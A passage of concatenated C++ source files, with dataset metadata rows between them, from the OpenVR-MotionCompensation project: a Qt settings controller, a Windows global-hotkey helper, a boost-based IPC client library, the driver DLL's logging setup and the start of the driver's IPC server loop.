if (_samples <= 2)
{
_samples = 2;
}
emit settingChanged();
}
void DeviceManipulationTabController::setHMDtoRefTranslationOffset(unsigned axis, double value)
{
_offset.Translation.v[axis] = value;
parent->vrMotionCompensation().setOffsets(_offset);
}
void DeviceManipulationTabController::setHMDtoRefRotationOffset(unsigned axis, double value)
{
_offset.Rotation.v[axis] = value;
parent->vrMotionCompensation().setOffsets(_offset);
}
void DeviceManipulationTabController::increaseRefTranslationOffset(unsigned axis, double value)
{
_offset.Translation.v[axis] += value;
parent->vrMotionCompensation().setOffsets(_offset);
emit offsetChanged();
}
void DeviceManipulationTabController::increaseRefRotationOffset(unsigned axis, double value)
{
_offset.Rotation.v[axis] += value;
parent->vrMotionCompensation().setOffsets(_offset);
emit offsetChanged();
}
double DeviceManipulationTabController::getHMDtoRefTranslationOffset(unsigned axis)
{
return _offset.Translation.v[axis];
}
double DeviceManipulationTabController::getHMDtoRefRotationOffset(unsigned axis)
{
return _offset.Rotation.v[axis];
}
void DeviceManipulationTabController::setMotionCompensationMode(unsigned NewMode)
{
switch (NewMode)
{
case 0:
_motionCompensationMode = vrmotioncompensation::MotionCompensationMode::ReferenceTracker;
break;
default:
break;
}
}
int DeviceManipulationTabController::getMotionCompensationMode()
{
switch (_motionCompensationMode)
{
case vrmotioncompensation::MotionCompensationMode::Disabled:
return 0;
break;
case vrmotioncompensation::MotionCompensationMode::ReferenceTracker:
return 0;
break;
default:
return 0;
break;
}
}
bool DeviceManipulationTabController::setDebugMode(bool TestForStandby)
{
bool enable = false;
QString newButtonText = "";
int newLoggerStatus = 0;
// Queue new debug logger state
if (TestForStandby && _motionCompensationMode == vrmotioncompensation::MotionCompensationMode::ReferenceTracker && DebugLoggerStatus == 1)
{
enable = true;
newLoggerStatus = 2;
newButtonText = "Stop logging";
}
else if (TestForStandby)
{
// return from function if standby mode was not active
return true;
}
else if (!TestForStandby && _motionCompensationMode == vrmotioncompensation::MotionCompensationMode::Disabled && DebugLoggerStatus == 0)
{
newLoggerStatus = 1;
newButtonText = "Standby...";
}
else if ((!TestForStandby && _motionCompensationMode == vrmotioncompensation::MotionCompensationMode::Disabled && DebugLoggerStatus == 1) ||
(!TestForStandby && _motionCompensationMode == vrmotioncompensation::MotionCompensationMode::ReferenceTracker && DebugLoggerStatus == 2))
{
enable = false;
newLoggerStatus = 0;
newButtonText = "Start logging";
}
else if (!TestForStandby && _motionCompensationMode == vrmotioncompensation::MotionCompensationMode::ReferenceTracker && DebugLoggerStatus == 0)
{
enable = true;
newLoggerStatus = 2;
newButtonText = "Stop logging";
}
// Only send new state when logger is not in standby mode
if (newLoggerStatus != 1)
{
try
{
LOG(INFO) << "Sending debug mode (Status: " << newLoggerStatus << ")";
parent->vrMotionCompensation().startDebugLogger(enable);
}
catch (vrmotioncompensation::vrmotioncompensation_exception& e)
{
switch (e.errorcode)
{
case (int)vrmotioncompensation::ipc::ReplyStatus::Ok:
{
m_deviceModeErrorString = "Not an error";
} break;
case (int)vrmotioncompensation::ipc::ReplyStatus::InvalidId:
{
m_deviceModeErrorString = "MC must be running to\nstart the debug logger";
} break;
default:
{
m_deviceModeErrorString = "Unknown error";
} break;
LOG(ERROR) << "Exception caught while sending debug mode: " << e.what();
return false;
}
}
catch (std::exception& e)
{
m_deviceModeErrorString = "Unknown exception";
LOG(ERROR) << "Exception caught while sending debug mode: " << e.what();
return false;
}
}
// If send was successful or not needed, apply state
DebugLoggerStatus = newLoggerStatus;
debugModeButtonString = newButtonText;
emit debugModeChanged();
return true;
}
QString DeviceManipulationTabController::getDebugModeButtonText()
{
return debugModeButtonString;
}
} // namespace motioncompensation
| 25,229
|
C++
|
.cpp
| 788
| 28.412437
| 159
| 0.734176
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,188
|
qglobalshortcut.cpp
|
openvrmc_OpenVR-MotionCompensation/client_overlay/src/QGlobalShortcut/qglobalshortcut.cpp
|
#include "qglobalshortcut.h"
#include <QApplication>
#include <QStringList>
#include <QKeySequence>
#include "windows.h"
namespace
{
QString strShortcuts[56] = {"Esc","Tab","BackTab","Backspace","Return","Enter","Ins","Del",
"Pause", "Print","SysReq","Clear","Home","End","Left","Up","Right",
"Down","PgUp","PgDown","F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","F11","F12",
"F13","F14","F15","F16","F17","F18","F19","F20","F21","F22","F23","F24",
"Space","*",",","-","/","Media Next","Media Previous","Media Play","Media Stop",
"Volume Down","Volume Up","Volume Mute"};
unsigned int codeShortcuts[56] = {VK_ESCAPE,VK_TAB,VK_TAB,VK_BACK,VK_RETURN,VK_RETURN,VK_INSERT,VK_DELETE,
VK_PAUSE,VK_PRINT,VK_SNAPSHOT,VK_CLEAR,VK_HOME,VK_END,VK_LEFT,VK_UP,VK_RIGHT,
VK_DOWN,VK_PRIOR,VK_NEXT,VK_F1,VK_F2,VK_F3,VK_F4,VK_F5,VK_F6,VK_F7,VK_F8,VK_F9,VK_F10,VK_F11,VK_F12,
VK_F13,VK_F14,VK_F15,VK_F16,VK_F17,VK_F18,VK_F19,VK_F20,VK_F21,VK_F22,VK_F23,VK_F24,
VK_SPACE,VK_MULTIPLY,VK_SEPARATOR,VK_SUBTRACT,VK_DIVIDE,VK_MEDIA_NEXT_TRACK,VK_MEDIA_PREV_TRACK,VK_MEDIA_PLAY_PAUSE,VK_MEDIA_STOP,
VK_VOLUME_DOWN,VK_VOLUME_UP,VK_VOLUME_MUTE};
}
class QGlobalData
{
Q_PROPERTY(unsigned int id READ id WRITE setId)
public:
QGlobalData() {}
QGlobalData(const QGlobalData &other) :
m_id(other.m_id)
{
}
unsigned int id(){return m_id;}
void setId(unsigned int id){m_id = id;}
private:
unsigned int m_id;
};
class QGlobalShortcutPrivate
{
public:
QKeySequence keys;
QList<QGlobalData*>listKeys;
QHash <QString, unsigned int>hash;
bool enabled;
QGlobalShortcutPrivate() {
}
void initHash()
{
for(int i = 0; i < 56; i++){
hash.insert(strShortcuts[i],codeShortcuts[i]);
}
}
unsigned int winHotKey(const QKeySequence &sequence)
{
QStringList list = sequence.toString().split("+");
QString str = list.last();
if(str.length() == 0){
return VK_ADD;
} else if(str.length() == 1){
return str.at(0).unicode(); // return Key Letters and Numbers
} else {
return this->hash.value(str);
}
return 0;
}
unsigned int winKeyModificator(const QKeySequence &sequence)
{
QStringList list = sequence.toString().split("+");
unsigned int keyModificator = 0;
foreach (QString str, list) {
if(str == "Ctrl"){
keyModificator |= MOD_CONTROL;
continue;
} else if(str == "Alt"){
keyModificator |= MOD_ALT;
continue;
} else if(str == "Shift"){
keyModificator |= MOD_SHIFT;
continue;
} else if(str == "Meta"){
keyModificator |= MOD_WIN;
continue;
}
}
return keyModificator;
}
unsigned int winId(const QKeySequence &keySequence)
{
return this->winHotKey(keySequence) ^ this->winKeyModificator(keySequence);
}
};
QGlobalShortcut::QGlobalShortcut(QObject *parent) :
QObject(parent),
sPrivate(new QGlobalShortcutPrivate)
{
sPrivate->enabled = true;
sPrivate->initHash();
qApp->installNativeEventFilter(this);
}
QGlobalShortcut::~QGlobalShortcut()
{
unsetShortcut();
qApp->removeNativeEventFilter(this);
delete sPrivate;
}
bool QGlobalShortcut::nativeEventFilter(const QByteArray &eventType, void *message, long *result)
{
Q_UNUSED(eventType)
Q_UNUSED(result)
if(!sPrivate->keys.isEmpty() && sPrivate->enabled){
MSG* msg = reinterpret_cast<MSG*>(message);
if(msg->message == WM_HOTKEY){
foreach (QGlobalData *data, sPrivate->listKeys) {
if(msg->wParam == data->id()){
emit activated();
return true;
}
}
}
}
return false;
}
bool QGlobalShortcut::setShortcut(const QKeySequence &keySequence)
{
unsetShortcut();
sPrivate->keys = keySequence;
QStringList list = sPrivate->keys.toString().split(", ");
foreach (QString str, list) {
QGlobalData * data = new QGlobalData();
data->setId(sPrivate->winId(QKeySequence(str)));
sPrivate->listKeys.append(data);
RegisterHotKey(0, data->id(), sPrivate->winKeyModificator(QKeySequence(str)), sPrivate->winHotKey(QKeySequence(str)));
}
return true;
}
bool QGlobalShortcut::unsetShortcut()
{
if(!sPrivate->keys.isEmpty()){
foreach (QGlobalData *data, sPrivate->listKeys) {
UnregisterHotKey(0, data->id());
}
sPrivate->listKeys.clear();
sPrivate->keys = QKeySequence("");
}
return true;
}
QKeySequence QGlobalShortcut::shortcut()
{
if(!sPrivate->keys.isEmpty()){
return sPrivate->keys;
} else {
return QKeySequence("");
}
}
bool QGlobalShortcut::isEmpty()
{
return sPrivate->keys.isEmpty();
}
void QGlobalShortcut::setEnabled(bool enable)
{
sPrivate->enabled = enable;
}
bool QGlobalShortcut::isEnabled()
{
return sPrivate->enabled;
}
| 5,453
|
C++
|
.cpp
| 163
| 25.404908
| 167
| 0.586705
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,189
|
vrmotioncompensation.cpp
|
openvrmc_OpenVR-MotionCompensation/lib_vrmotioncompensation/src/vrmotioncompensation.cpp
|
#include <vrmotioncompensation.h>
#include <boost/date_time/posix_time/posix_time_types.hpp>
#include <cstdlib>
#include <functional>
#include <iostream>
#include <config.h>
#if VRMOTIONCOMPENSATION_EASYLOGGING == 1
#include "logging.h";
#define WRITELOG(level, txt) LOG(level) << txt;
#else
#define WRITELOG(level, txt) std::cerr << txt;
#endif
namespace vrmotioncompensation
{
// Receives and dispatches ipc messages
void VRMotionCompensation::_ipcThreadFunc(VRMotionCompensation* _this)
{
_this->_ipcThreadRunning = true;
while (!_this->_ipcThreadStop)
{
try
{
ipc::Reply message;
uint64_t recv_size;
unsigned priority;
boost::posix_time::ptime timeout = boost::posix_time::microsec_clock::universal_time() + boost::posix_time::milliseconds(50);
if (_this->_ipcClientQueue->timed_receive(&message, sizeof(ipc::Reply), recv_size, priority, timeout))
{
if (recv_size == sizeof(ipc::Reply))
{
std::lock_guard<std::recursive_mutex> lock(_this->_mutex);
auto i = _this->_ipcPromiseMap.find(message.messageId);
if (i != _this->_ipcPromiseMap.end())
{
if (i->second.isValid)
{
i->second.promise.set_value(message);
}
else
{
_this->_ipcPromiseMap.erase(i); // nobody wants it, so we delete it
}
}
}
}
else
{
std::this_thread::sleep_for(std::chrono::milliseconds(1));
}
}
catch (std::exception & ex)
{
WRITELOG(ERROR, "Exception in ipc receive loop: " << ex.what() << std::endl);
}
}
_this->_ipcThreadRunning = false;
}
VRMotionCompensation::VRMotionCompensation(const std::string& serverQueue, const std::string& clientQueue) : _ipcServerQueueName(serverQueue), _ipcClientQueueName(clientQueue)
{
}
VRMotionCompensation::~VRMotionCompensation()
{
disconnect();
}
bool VRMotionCompensation::isConnected() const
{
return _ipcServerQueue != nullptr;
}
void VRMotionCompensation::connect()
{
if (!_ipcServerQueue)
{
// Open server-side message queue
try
{
_ipcServerQueue = new boost::interprocess::message_queue(boost::interprocess::open_only, _ipcServerQueueName.c_str());
}
catch (std::exception & e)
{
_ipcServerQueue = nullptr;
std::stringstream ss;
ss << "Could not open server-side message queue: " << e.what();
throw vrmotioncompensation_connectionerror(ss.str());
}
// Append random number to client queue name (and hopefully no other client uses the same random number)
_ipcClientQueueName += std::to_string(_ipcRandomDist(_ipcRandomDevice));
// Open client-side message queue
try
{
boost::interprocess::message_queue::remove(_ipcClientQueueName.c_str());
_ipcClientQueue = new boost::interprocess::message_queue(
boost::interprocess::create_only,
_ipcClientQueueName.c_str(),
100, //max message number
sizeof(ipc::Reply) //max message size
);
}
catch (std::exception & e)
{
delete _ipcServerQueue;
_ipcServerQueue = nullptr;
_ipcClientQueue = nullptr;
std::stringstream ss;
ss << "Could not open client-side message queue: " << e.what();
throw vrmotioncompensation_connectionerror(ss.str());
}
// Start ipc thread
_ipcThreadStop = false;
_ipcThread = std::thread(_ipcThreadFunc, this);
// Send ClientConnect message to server
ipc::Request message(ipc::RequestType::IPC_ClientConnect);
auto messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.ipc_ClientConnect.messageId = messageId;
message.msg.ipc_ClientConnect.ipcProcotolVersion = IPC_PROTOCOL_VERSION;
strncpy_s(message.msg.ipc_ClientConnect.queueName, _ipcClientQueueName.c_str(), 127);
message.msg.ipc_ClientConnect.queueName[127] = '\0';
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
// Wait for response
auto resp = respFuture.get();
m_clientId = resp.msg.ipc_ClientConnect.clientId;
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
if (resp.status != ipc::ReplyStatus::Ok)
{
delete _ipcServerQueue;
_ipcServerQueue = nullptr;
delete _ipcClientQueue;
_ipcClientQueue = nullptr;
std::stringstream ss;
ss << "Connection rejected by server: ";
if (resp.status == ipc::ReplyStatus::InvalidVersion)
{
ss << "Incompatible ipc protocol versions (server: " << resp.msg.ipc_ClientConnect.ipcProcotolVersion << ", client: " << IPC_PROTOCOL_VERSION << ")";
throw vrmotioncompensation_invalidversion(ss.str());
}
else if (resp.status != ipc::ReplyStatus::Ok)
{
ss << "Error code " << (int)resp.status;
throw vrmotioncompensation_connectionerror(ss.str());
}
}
}
}
void VRMotionCompensation::disconnect()
{
if (_ipcServerQueue)
{
// Send disconnect message (so the server can free resources)
ipc::Request message(ipc::RequestType::IPC_ClientDisconnect);
auto messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.ipc_ClientDisconnect.clientId = m_clientId;
message.msg.ipc_ClientDisconnect.messageId = messageId;
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
auto resp = respFuture.get();
m_clientId = resp.msg.ipc_ClientConnect.clientId;
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
// Stop ipc thread
if (_ipcThreadRunning)
{
_ipcThreadStop = true;
_ipcThread.join();
}
// delete message queues
if (_ipcServerQueue)
{
delete _ipcServerQueue;
_ipcServerQueue = nullptr;
}
if (_ipcClientQueue)
{
delete _ipcClientQueue;
_ipcClientQueue = nullptr;
}
}
}
void VRMotionCompensation::ping(bool modal, bool enableReply)
{
if (_ipcServerQueue)
{
uint32_t messageId = _ipcRandomDist(_ipcRandomDevice);
uint64_t nonce = _ipcRandomDist(_ipcRandomDevice);
ipc::Request message(ipc::RequestType::IPC_Ping);
message.msg.ipc_Ping.clientId = m_clientId;
message.msg.ipc_Ping.messageId = messageId;
message.msg.ipc_Ping.nonce = nonce;
if (modal)
{
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
auto resp = respFuture.get();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
if (resp.status != ipc::ReplyStatus::Ok)
{
std::stringstream ss;
ss << "Error while pinging server: Error code " << (int)resp.status;
throw vrmotioncompensation_exception(ss.str());
}
}
else
{
if (enableReply)
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
message.msg.ipc_Ping.messageId = messageId;
_ipcPromiseMap.insert({ messageId, _ipcPromiseMapEntry() });
}
else
{
message.msg.ipc_Ping.messageId = 0;
}
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
}
}
else
{
throw vrmotioncompensation_connectionerror("No active connection.");
}
}
void VRMotionCompensation::getDeviceInfo(uint32_t OpenVRId, DeviceInfo& info)
{
if (_ipcServerQueue)
{
//Create message
ipc::Request message(ipc::RequestType::DeviceManipulation_GetDeviceInfo);
memset(&message.msg, 0, sizeof(message.msg));
message.msg.ovr_GenericDeviceIdMessage.clientId = m_clientId;
message.msg.ovr_GenericDeviceIdMessage.OpenVRId = OpenVRId;
//Create random message ID
uint32_t messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.ovr_GenericDeviceIdMessage.messageId = messageId;
//Allocate memory for the reply
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
//Send message
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
auto resp = respFuture.get();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
//If there was an error, notify the user
std::stringstream ss;
ss << "Error while getting device info: ";
if (resp.status == ipc::ReplyStatus::Ok)
{
info.OpenVRId = resp.msg.dm_deviceInfo.OpenVRId;
info.deviceClass = resp.msg.dm_deviceInfo.deviceClass;
info.deviceMode = resp.msg.dm_deviceInfo.deviceMode;
}
else if (resp.status == ipc::ReplyStatus::NotFound)
{
info.deviceClass = resp.msg.dm_deviceInfo.deviceClass;
}
else if (resp.status == ipc::ReplyStatus::InvalidId)
{
ss << "Invalid device id";
throw vrmotioncompensation_invalidid(ss.str());
}
/*else if (resp.status == ipc::ReplyStatus::NotFound)
{
ss << "Device not found";
throw vrmotioncompensation_notfound(ss.str());
}*/
else if (resp.status != ipc::ReplyStatus::Ok)
{
ss << "Error code " << (int)resp.status;
throw vrmotioncompensation_exception(ss.str());
}
}
else
{
throw vrmotioncompensation_connectionerror("No active connection.");
}
}
void VRMotionCompensation::setDeviceMotionCompensationMode(uint32_t MCdeviceId, uint32_t RTdeviceId, MotionCompensationMode Mode, bool modal)
{
if (_ipcServerQueue)
{
//Create message
ipc::Request message(ipc::RequestType::DeviceManipulation_MotionCompensationMode);
memset(&message.msg, 0, sizeof(message.msg));
message.msg.dm_MotionCompensationMode.clientId = m_clientId;
message.msg.dm_MotionCompensationMode.messageId = 0;
message.msg.dm_MotionCompensationMode.MCdeviceId = MCdeviceId;
message.msg.dm_MotionCompensationMode.RTdeviceId = RTdeviceId;
message.msg.dm_MotionCompensationMode.CompensationMode = Mode;
if (modal)
{
//Create random message ID
uint32_t messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.dm_MotionCompensationMode.messageId = messageId;
//Allocate memory for the reply
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
//Send message
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
auto resp = respFuture.get();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
//If there was an error, notify the user
std::stringstream ss;
ss << "Error while setting motion compensation mode: ";
if (resp.status == ipc::ReplyStatus::InvalidId)
{
ss << "Invalid device id";
throw vrmotioncompensation_invalidid(ss.str(), (int)resp.status);
}
else if (resp.status == ipc::ReplyStatus::NotFound)
{
ss << "Device not found";
throw vrmotioncompensation_notfound(ss.str(), (int)resp.status);
}
else if (resp.status != ipc::ReplyStatus::Ok)
{
ss << "Error code " << (int)resp.status;
throw vrmotioncompensation_exception(ss.str(), (int)resp.status);
}
}
else
{
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
}
}
else
{
throw vrmotioncompensation_connectionerror("No active connection.");
}
}
void VRMotionCompensation::setMoticonCompensationSettings(double LPF_Beta, uint32_t samples, bool setZero)
{
if (_ipcServerQueue)
{
//Create message
ipc::Request message(ipc::RequestType::DeviceManipulation_SetMotionCompensationProperties);
memset(&message.msg, 0, sizeof(message.msg));
message.msg.dm_SetMotionCompensationProperties.clientId = m_clientId;
message.msg.dm_SetMotionCompensationProperties.messageId = 0;
message.msg.dm_SetMotionCompensationProperties.LPFBeta = LPF_Beta;
message.msg.dm_SetMotionCompensationProperties.samples = samples;
message.msg.dm_SetMotionCompensationProperties.setZero = setZero;
//Create random message ID
uint32_t messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.dm_SetMotionCompensationProperties.messageId = messageId;
//Allocate memory for the reply
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
//Send message
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
WRITELOG(INFO, "MC message created sending to driver" << std::endl);
auto resp = respFuture.get();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
//If there was an error, notify the user
std::stringstream ss;
ss << "Error while setting motion compensation mode: ";
if (resp.status != ipc::ReplyStatus::Ok)
{
ss << "Error code " << (int)resp.status;
throw vrmotioncompensation_exception(ss.str(), (int)resp.status);
}
}
else
{
throw vrmotioncompensation_connectionerror("No active connection.");
}
}
void VRMotionCompensation::resetRefZeroPose()
{
if (_ipcServerQueue)
{
// Create message
ipc::Request message(ipc::RequestType::DeviceManipulation_ResetRefZeroPose);
memset(&message.msg, 0, sizeof(message.msg));
message.msg.dm_ResetRefZeroPose.clientId = m_clientId;
message.msg.dm_ResetRefZeroPose.messageId = 0;
// Create random message ID
uint32_t messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.dm_ResetRefZeroPose.messageId = messageId;
// Allocate memory for the reply
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
// Send message
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
WRITELOG(INFO, "MC message created sending to driver" << std::endl);
auto resp = respFuture.get();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
// If there was an error, notify the user
std::stringstream ss;
ss << "Error while setting motion compensation mode: ";
if (resp.status != ipc::ReplyStatus::Ok)
{
ss << "Error code " << (int)resp.status;
throw vrmotioncompensation_exception(ss.str(), (int)resp.status);
}
}
else
{
throw vrmotioncompensation_connectionerror("No active connection.");
}
}
void VRMotionCompensation::setOffsets(MMFstruct_OVRMC_v1 offsets)
{
if (_ipcServerQueue)
{
//Create message
ipc::Request message(ipc::RequestType::DeviceManipulation_SetOffsets);
memset(&message.msg, 0, sizeof(message.msg));
message.msg.dm_SetOffsets.clientId = m_clientId;
message.msg.dm_SetOffsets.messageId = 0;
message.msg.dm_SetOffsets.offsets = offsets;
//Create random message ID
uint32_t messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.dm_SetOffsets.messageId = messageId;
//Allocate memory for the reply
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
//Send message
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
auto resp = respFuture.get();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
//If there was an error, notify the user
std::stringstream ss;
ss << "Error while setting offsets: ";
if (resp.status != ipc::ReplyStatus::Ok)
{
ss << "Error code " << (int)resp.status;
throw vrmotioncompensation_exception(ss.str(), (int)resp.status);
}
}
else
{
throw vrmotioncompensation_connectionerror("No active connection.");
}
}
void VRMotionCompensation::startDebugLogger(bool enable, bool modal)
{
if (_ipcServerQueue)
{
//Create message
ipc::Request message(ipc::RequestType::DebugLogger_Settings);
memset(&message.msg, 0, sizeof(message.msg));
message.msg.dl_Settings.clientId = m_clientId;
message.msg.dl_Settings.messageId = 0;
message.msg.dl_Settings.enabled = enable;
if (modal)
{
//Create random message ID
uint32_t messageId = _ipcRandomDist(_ipcRandomDevice);
message.msg.dl_Settings.messageId = messageId;
//Allocate memory for the reply
std::promise<ipc::Reply> respPromise;
auto respFuture = respPromise.get_future();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.insert({ messageId, std::move(respPromise) });
}
//Send message
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
WRITELOG(INFO, "DL message created sending to driver" << std::endl);
auto resp = respFuture.get();
{
std::lock_guard<std::recursive_mutex> lock(_mutex);
_ipcPromiseMap.erase(messageId);
}
//If there was an error, notify the user
std::stringstream ss;
ss << "Error while starting debug logger: ";
if (resp.status == ipc::ReplyStatus::InvalidId)
{
ss << "MC must be running";
throw vrmotioncompensation_invalidid(ss.str(), (int)resp.status);
}
else if (resp.status != ipc::ReplyStatus::Ok)
{
ss << "Error code " << (int)resp.status;
throw vrmotioncompensation_exception(ss.str(), (int)resp.status);
}
}
else
{
_ipcServerQueue->send(&message, sizeof(ipc::Request), 0);
WRITELOG(INFO, "DL message created sending to driver" << std::endl);
}
}
else
{
throw vrmotioncompensation_connectionerror("No active connection.");
}
}
} // end namespace vrmotioncompensation
| 18,204
|
C++
|
.cpp
| 545
| 29.111927
| 176
| 0.699517
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,191
|
dllmain.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/dllmain.cpp
|
#include "logging.h"
const char* logConfigFileName = "logging.conf";
const char* logConfigDefault =
"* GLOBAL:\n"
" FORMAT = \"[%level] %datetime{%Y-%M-%d %H:%m:%s}: %msg\"\n"
" FILENAME = \"driver_motioncompensation.log\"\n"
" ENABLED = true\n"
" TO_FILE = true\n"
" TO_STANDARD_OUTPUT = true\n"
" MAX_LOG_FILE_SIZE = 2097152 ## 2MB\n"
"* TRACE:\n"
" ENABLED = false\n"
"* DEBUG:\n"
" ENABLED = false\n";
INITIALIZE_EASYLOGGINGPP
void init_logging()
{
el::Loggers::addFlag(el::LoggingFlag::DisableApplicationAbortOnFatalLog);
el::Loggers::addFlag(el::LoggingFlag::StrictLogFileSizeCheck);
el::Configurations conf(logConfigFileName);
conf.parseFromText(logConfigDefault);
//conf.parseFromFile(logConfigFileName);
conf.setRemainingToDefault();
el::Loggers::reconfigureAllLoggers(conf);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
init_logging();
LOG(INFO) << "|========================================================================================|";
LOG(INFO) << "VRMotionCompensation dll loaded...";
LOG(TRACE) << "Trace messages enabled.";
LOG(DEBUG) << "Debug messages enabled.";
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
| 1,337
|
C++
|
.cpp
| 46
| 27.043478
| 108
| 0.674437
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
1,532,192
|
driver_ipc_shm.cpp
|
openvrmc_OpenVR-MotionCompensation/driver_vrmotioncompensation/src/com/shm/driver_ipc_shm.cpp
|
#include "driver_ipc_shm.h"
#include <boost/date_time/posix_time/posix_time_types.hpp>
#include <openvr_driver.h>
#include <ipc_protocol.h>
#include <openvr_math.h>
#include "../../driver/ServerDriver.h"
#include "../../devicemanipulation/DeviceManipulationHandle.h"
namespace vrmotioncompensation
{
namespace driver
{
void IpcShmCommunicator::init(ServerDriver* driver)
{
_driver = driver;
_ipcThreadStopFlag = false;
_ipcThread = std::thread(_ipcThreadFunc, this, driver);
}
void IpcShmCommunicator::shutdown()
{
if (_ipcThreadRunning)
{
_ipcThreadStopFlag = true;
_ipcThread.join();
}
}
void IpcShmCommunicator::_ipcThreadFunc(IpcShmCommunicator* _this, ServerDriver* driver)
{
_this->_ipcThreadRunning = true;
LOG(DEBUG) << "CServerDriver::_ipcThreadFunc: thread started";
try
{
// Create message queue
boost::interprocess::message_queue::remove(_this->_ipcQueueName.c_str());
boost::interprocess::message_queue messageQueue(
boost::interprocess::create_only,
_this->_ipcQueueName.c_str(),
100, //max message number
sizeof(ipc::Request) //max message size
);
while (!_this->_ipcThreadStopFlag)
{
try
{
ipc::Request message;
uint64_t recv_size;
unsigned priority;
boost::posix_time::ptime timeout = boost::posix_time::microsec_clock::universal_time() + boost::posix_time::milliseconds(50);
if (messageQueue.timed_receive(&message, sizeof(ipc::Request), recv_size, priority, timeout))
{
LOG(TRACE) << "CServerDriver::_ipcThreadFunc: IPC request received ( type " << (int)message.type << ")";
if (recv_size == sizeof(ipc::Request))
{
switch (message.type)
{
case ipc::RequestType::IPC_ClientConnect:
{
try
{
auto queue = std::make_shared<boost::interprocess::message_queue>(boost::interprocess::open_only, message.msg.ipc_ClientConnect.queueName);
ipc::Reply reply(ipc::ReplyType::IPC_ClientConnect);
reply.messageId = message.msg.ipc_ClientConnect.messageId;
reply.msg.ipc_ClientConnect.ipcProcotolVersion = IPC_PROTOCOL_VERSION;
uint32_t clientId = 0;
if (message.msg.ipc_ClientConnect.ipcProcotolVersion == IPC_PROTOCOL_VERSION)
{
clientId = _this->_ipcClientIdNext++;
_this->_ipcEndpoints.insert({ clientId, queue });
reply.msg.ipc_ClientConnect.clientId = clientId;
reply.status = ipc::ReplyStatus::Ok;
LOG(INFO) << "New client connected: endpoint \"" << message.msg.ipc_ClientConnect.queueName << "\", cliendId " << clientId;
}
else
{
reply.msg.ipc_ClientConnect.clientId = 0;
